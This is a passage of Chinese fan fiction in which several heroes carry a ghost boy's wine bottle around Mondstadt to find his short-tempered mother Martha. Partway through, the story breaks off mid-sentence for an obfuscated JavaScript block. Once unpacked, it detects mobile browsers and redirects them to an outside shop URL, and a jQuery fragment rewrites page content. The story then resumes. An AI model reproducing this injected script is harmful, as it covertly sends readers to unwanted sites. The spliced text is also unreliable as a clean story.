在三月七失声尖叫的那一刻,击云的枪尖也穿过了那缕游魂。
“丹恒,你居然欺负小孩子!”星在他旁边义正言辞地谴责。
丹恒发现游魂并不是实体,只好收枪站定:“你管游魂叫小孩子?”
那游魂被三月七的尖叫声逗乐了,松开手后就浮在半空捂着肚子哈哈大笑。
“吓到你们啦?”他歪着头,眉眼弯弯地说道:“对不起嘛,这林子已经有段时间没来过活人了,我太兴奋了……”
星瞟了一眼被吓得瘫倒在地的三月七,没好气地吐槽道:“你一兴奋就喜欢扮鬼吓人?”
“对了,我叫马库斯,你们来干什么?”
华藿刚想开口解释,那游魂又飘低了一些,盘腿坐在空中:“我真的很无聊啊……以前偶尔还有醉汉闯进来,看到我就哇呀一声连滚带爬地跑掉。你们是第一批不跑的。”
丹恒低头看向那片蒲公英海,里面确实静静躺着几个空酒瓶。
“既然你们都那么闲了,不如帮我个小忙?”
“……”能看出来这个地方好久没来人了,马库斯绝对是憋坏了,每句话都在无缝衔接,根本不给他们回答的机会!
“你们帮我找找我的妈妈吧,她就在蒙德城里,但我进不去,每次一飘到城门口就会被弹开!”马库斯的笑容淡了下去,有些愁闷地低下头。
“所以你想让我们带你进去?”三月七一边搓胳膊一边问,虽然游魂已经离开她身上,但她总觉得肩头凉飕飕的。
马库斯眼前一亮,小鸡啄米般地点点头:“对!看到地上的那些酒瓶了吗?你们随便拿一个,我能附在那上面,这样你们就能带我进城啦!”
四人面面相觑。
“附身……酒瓶?!”星重复了一遍,最后两个字陡然拔高。
“对呀,就像这样——”
马库斯飘到其中一个酒瓶上方,身形随即化为一缕蓝光,“咻”地钻了进去。
酒瓶摇晃两下,然后传来闷闷的声音:“看!很方便吧?”
丹恒走过去捡起酒瓶,再次确认:“你就想让我们带着酒瓶满蒙德城找你的妈妈?”
酒瓶里的蓝色光点开始上下晃动,看着就像马库斯在点头。
华藿指出了关键问题:“可是我们连你妈妈长什么样都不知道!”
马库斯的声音从瓶子里传出来:“她叫玛莎,棕色头发,眼睛是绿色的,而且很容易生气。”
“怎么个生气法?”星好奇地发问。
“……嗯,让我想想,哦对了,她发火时很喜欢跺左脚!”
“我们总不能每见到一位女士就让她跺脚吧!”三月七也跟着吐槽起来。
酒瓶沉默了。
过了一会儿,马库斯小心翼翼地说:“……那你们看着办?我相信你们!”
真是典型的幽灵式甩锅。
最终他们还是带上了酒瓶,并由丹恒负责拿着。
原因无他,只是他们都认为这缕游魂与藏在蒙德的信物有很大关联,说不定等他们完成了游魂的请求,有关信物的进一步线索就会出现呢。
回到阁楼时已是深夜,丹恒把酒瓶放在桌子中央,转头对另外三名同伴说道:“从明天开始,我们轮流带着瓶子巡逻,留意符合特征的女士。”
“怎么留意?难道真的要抱着酒瓶拦住她们问‘你们谁是马库斯的妈妈啊’。”三月七瘫在床上,今晚这又惊又吓的一趟已经耗尽了她的所有能量。
华藿思索片刻,给出了计划:“明天我们分区巡逻啊,每个人负责一片区域,能覆盖全城的!让马库斯自己辨认谁是玛莎!”
第二天早晨集合时,海因茨队长一眼就看到了丹恒手里的酒瓶,不悦地皱起眉:“执勤期间禁止饮酒!”
丹恒难得卡壳,耳根也有些薄红:“这是我练习腕力用的,还能……起到威慑作用。”最后几个字几乎是他咬着牙说的。
海因茨凑过去,盯着那个酒瓶看了许久。
直到里面的幽蓝色有些不安地闪烁,他才起身叹了口气:“别让我抓到你们偷喝。”
巡逻开始,丹恒负责城西居民区,这里多是平民住宅,那些女士们要么晒衣服,要么在街上购物,或是与朋友闲聊。
他用布裹了一下酒瓶,在街道上慢慢地走着。
旁边有一名棕发女人正弯腰收床单,酒瓶立马发烫,丹恒下意识一瞥,发现她的眼睛是黑色的。
酒瓶很快凉了下去,他还能听到马库斯一声幽幽的叹息。
整个上午,酒瓶明明灭灭了好几次,丹恒在巡逻边缘区与星汇合,把酒瓶递了过去:“十六次误判。”
星接过瓶子,来到她负责的商业区。
这里人多嘴杂,店铺林立,她把酒瓶塞进布袋里,勉强充当成一个水杯。
当她走到一家服装店外,布袋突然开始摇晃。
她赶紧拉开一看,瓶身蓝光大盛。
店里,一个棕色卷发的女裁缝正在给客人量尺寸,星看清了她的绿眼睛,一时心脏狂跳。
她放慢步子走近些,假装看布料。
女裁缝却注意到这边的异常,微笑询问:“需要什么吗,骑士小姐?”
“我……”星卡住了,总不能说“您儿子在我瓶子里”吧?
女裁缝等了一会儿,见星不说话,便继续工作。
她转身时,左脚不小心踢到了脚下的卷尺筒,忍不住跺了一下脚。
酒瓶在布袋里疯狂震动,星赶紧按住以防它蹦出来,但女裁缝已经转过头,疑惑地看着她:“您没事吧?”
“没事!”星挤出笑容:“那个,请问您叫玛莎吗?”
女裁缝感觉很是莫名其妙:“不,我叫莉莉安。”
酒瓶瞬间凉透。
星走出店门,把布袋拉开一条缝,压低声音:“你激动什么?她跺脚只是不小心!而且你居然不记得你妈妈具体的样子,我刚才差点被她当成不法分子了!”
瓶子里的声音有点底气不足:“我眼花,刚才没看清……”
“你这样我们找到天亮都找不到。”
傍晚,三月七接班。
她负责的广场区更麻烦,这里人多,而且马库斯对“像妈妈”的标准越来越低了。
看到一个棕发小女孩吃土豆饼,瓶子热了。
看到一个绿眼睛的老奶奶喂鸽子,瓶子热了。
看到一只棕色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062225|195069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
毛的小狗追着自己的尾巴转圈,瓶子居然也热了一下。
“那是狗!”三月七对着瓶子咬牙切齿。
“它眼睛也是绿色的……”马库斯不服气地辩解。
三月七放弃沟通,把瓶子塞进挎包,拉上拉链。
世界清静了。
第二天轮到华藿,她负责的区域依然在城门口那一块儿。
早晨她背着拖把,抱着酒瓶来到水果摊,老板娘一眼就看到了瓶子。
“哟,你也学会喝酒啦?”老板娘打趣。
“不是,这个是……”
华藿还没想好借口,老板娘已经热情地拿过瓶子:“来来来,我这儿有新榨的树莓汁,给你灌点,比酒好喝!”
“等等——”
已经晚了。
老板娘麻利地拔掉木塞,拿起旁边的大壶就往里灌,清澈的液体哗啦啦流进瓶子。
“这瓶子怎么在动?”老板娘奇怪。
“可能是气泡……谢谢你的果汁!”华藿赶紧抢回瓶子跑开,直到拐进小巷才敢打开木塞。
噗哈!
马库斯怒气冲冲地指责:“她干嘛啊!我差点被淹死!”
安抚好马库斯之后,华藿这才想起正事。
她抱着瓶子回到水果摊附近,假装随意地问:“老板娘,您在这片待得久,知不知道有谁丢了孩子?”
老板娘嘶了一声:“丢孩子?那可没有。蒙德城里最近没听说有孩子走失啊。”
她想了想,随即恍然大悟地拍了下手:“不过说到伤心事,倒是有位单亲妈妈,前阵子儿子病死了,她一个人过不下去,差点离开蒙德。幸好迪卢克老爷心善,收她去酒馆当清洁工。”
华藿追问道:“她叫什么?长什么样?”
老板娘说:“叫玛莎,棕头发,绿眼睛,脾气有点暴……诶,你问这个干嘛?”
华藿谢过老板娘,抱着瓶子直奔天使的馈赠。
还没进门,她就听见里面传来骂声:
“这群醉鬼!又把酒洒得满地都是!当我拖地不累是吧?!”
华藿推开门,发现酒馆里客人不多。
吧台后,一个棕发女人正挥舞着拖把,凶狠地擦着地板,动作很是粗暴。
“看什么看!”女人注意到华藿,瞪过来:“要喝酒找查尔斯!”
而后,她看到华藿正背着一根拖把,还以为是老板又多收留的一名清洁工:“既然来了就别站在那里了,快去打扫二楼!”
华藿咽了口唾沫,慢慢走近:“请问您是玛莎吗?”
女人停下动作,直起身,狐疑地看着她:“是我,怎么了?你不想打扫二楼?那一楼就留给你了。”
眼看她雷厉风行地拎着水桶要上二楼,华藿急匆匆地拦下了她:“我是西风骑士团的见习骑士,我听说您儿子……”
咣当!
水桶砸在地面上,溅起了一片水花。
玛莎沉默地盯着她,突然跺了下左脚,指着她就开骂:“我不管你是谁,不要提起有关他的任何事情!”
“哇哦,就是这个味儿!”这时,瓶子里的马库斯莫名兴奋起来,很是怀念曾经被玛莎指着鼻子骂的那些回忆。